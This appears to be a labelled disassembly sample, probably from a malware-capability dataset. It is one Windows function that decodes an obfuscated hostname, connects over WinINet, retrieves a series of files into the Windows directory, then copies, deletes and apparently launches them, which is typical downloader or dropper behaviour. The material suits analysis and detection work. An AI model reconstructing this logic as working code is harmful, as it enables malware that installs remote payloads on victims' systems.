Function at 0x4013aa
Capabilities:
Connect to http server
Copy file
Create http request
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x968
push edi
mov dword [ebp - 0x7fc], 0
mov dword [ebp - 0x7f8], 0
mov dword [ebp - 0x7f4], 0
mov al, byte [0x4066a4]
mov byte [ebp - 0x7f0], al
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x7ef]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x78c], 1
mov cl, byte [0x4066a8]
mov byte [ebp - 0x788], cl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x787]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x724], 2
mov dl, byte [0x4066ac]
mov byte [ebp - 0x720], dl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x71f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x6bc], 3
mov al, byte [0x4066b0]
mov byte [ebp - 0x6b8], al
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x6b7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x654], 4
mov cl, byte [0x4066b4]
mov byte [ebp - 0x650], cl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x64f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x5ec], 5
mov dl, byte [0x4066b8]
mov byte [ebp - 0x5e8], dl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x5e7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x584], 6
mov al, byte [0x4066bc]
mov byte [ebp - 0x580], al
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x57f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x51c], 7
mov cl, byte [0x4066c0]
mov byte [ebp - 0x518], cl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x517]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x4b4], 8
mov dl, byte [0x4066c4]
mov byte [ebp - 0x4b0], dl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x4af]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x44c], 9
mov al, byte [0x4066c8]
mov byte [ebp - 0x448], al
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x447]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x3e4], 0xa
mov cl, byte [0x4066cc]
mov byte [ebp - 0x3e0], cl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x3df]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x37c], 0xb
mov dl, byte [0x4066d0]
mov byte [ebp - 0x378], dl
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x377]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x314], 0xc
mov al, byte [0x4066d4]
mov byte [ebp - 0x310], al
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x30f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x406074
lea ecx, [ebp - 0x7f0]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x406080
lea edx, [ebp - 0x788]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x40608c
lea eax, [ebp - 0x720]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x40609c
lea ecx, [ebp - 0x6b8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4060ac
lea edx, [ebp - 0x650]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4060bc
lea eax, [ebp - 0x5e8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4060c8
lea ecx, [ebp - 0x580]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4060dc
lea edx, [ebp - 0x518]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4060e4
lea eax, [ebp - 0x4b0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4060f0
lea ecx, [ebp - 0x448]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4060f8
lea edx, [ebp - 0x3e0]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x406100
lea eax, [ebp - 0x378]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [ebp - 0x7f0]
push ecx
call fcn.004012d8
add esp, 4
lea edx, [ebp - 0x788]
push edx
call fcn.004012d8
add esp, 4
lea eax, [ebp - 0x720]
push eax
call fcn.004012d8
add esp, 4
lea ecx, [ebp - 0x6b8]
push ecx
call fcn.004012d8
add esp, 4
lea edx, [ebp - 0x650]
push edx
call fcn.004012d8
add esp, 4
lea eax, [ebp - 0x5e8]
push eax
call fcn.004012d8
add esp, 4
lea ecx, [ebp - 0x580]
push ecx
call fcn.004012d8
add esp, 4
lea edx, [ebp - 0x518]
push edx
call fcn.004012d8
add esp, 4
lea eax, [ebp - 0x4b0]
push eax
call fcn.004012d8
add esp, 4
lea ecx, [ebp - 0x448]
push ecx
call fcn.004012d8
add esp, 4
lea edx, [ebp - 0x3e0]
push edx
call fcn.004012d8
add esp, 4
lea eax, [ebp - 0x378]
push eax
call fcn.004012d8
add esp, 4
push str.yyc557.zvar.ah
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0040112c
add esp, 8
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x40611c
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0040112c
add esp, 8
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp - 0xa4]
add eax, 0x64
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.qbja56
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0040112c
add esp, 8
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp - 0xa4]
add eax, 0x78
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.grzc_
push 0x4065a0
call fcn.0040112c
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040130f
add esp, 4
push 0x104
lea edx, [ebp - 0x2ac]
push edx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0
push 0
push 0
push 0
push str.wauctl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x800], eax
push 0
push 0x8000000
push 1
mov eax, dword [ebp - 0xa4]
add eax, 0x78
push eax
mov ecx, dword [ebp - 0xa4]
add ecx, 0x64
push ecx
push 0
mov edx, dword [ebp - 0xa4]
push edx
mov eax, dword [ebp - 0x800]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401861
xor eax, eax
jmp 0x401acd
mov dword [ebp - 0x7f8], 0
jmp 0x40187c
mov ecx, dword [ebp - 0x7f8]
add ecx, 1
mov dword [ebp - 0x7f8], ecx
mov edx, dword [ebp - 0x7f8]
cmp edx, dword [ebp - 0x314]
jge 0x401935
push 0x9b
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.00401ae0
add esp, 0xc
mov ecx, dword [ebp - 0x7f8]
imul ecx, ecx, 0x68
lea edx, [ebp + ecx - 0x7f0]
push edx
lea eax, [ebp - 0xa0]
push eax
call fcn.0040112c
add esp, 8
lea ecx, [ebp - 0x2ac]
push ecx
lea edx, [ebp - 0x1a8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4065a0
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x1a8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x1a8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00401368
add esp, 0xc
and eax, 0xff
test eax, eax
je 0x401930
mov eax, dword [ebp - 0x7fc]
add eax, 1
mov dword [ebp - 0x7fc], eax
jmp 0x40186d
cmp dword [ebp - 0x7fc], 0xc
jne 0x401ab8
mov dword [ebp - 0x7fc], 0
push 0x9b
push 0
lea ecx, [ebp - 0xa0]
push ecx
call fcn.00401ae0
add esp, 0xc
push 0x4066d8
lea edx, [ebp - 0x864]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x864]
push eax
call fcn.004011bf
add esp, 4
lea ecx, [ebp - 0x2ac]
push ecx
lea edx, [ebp - 0x968]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x40613c
lea eax, [ebp - 0x968]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x864]
push ecx
lea edx, [ebp - 0x968]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x1a8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4065a0
lea edx, [ebp - 0x1a8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0040112c
add esp, 8
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
lea ecx, [ebp - 0x968]
push ecx
lea edx, [ebp - 0x1a8]
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x401a43
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [ebp - 0x968]
push ecx
call fcn.00401171
add esp, 4
push 0x9b
push 0
lea edx, [ebp - 0xa0]
push edx
call fcn.00401ae0
add esp, 0xc
lea eax, [ebp - 0x7f0]
push eax
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0040112c
add esp, 8
lea edx, [ebp - 0x2ac]
push edx
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4065a0
lea ecx, [ebp - 0x1a8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x1a8]
push ecx
call fcn.00401171
add esp, 4
mov edx, dword [ebp - 0x800]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00401391
add esp, 8
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10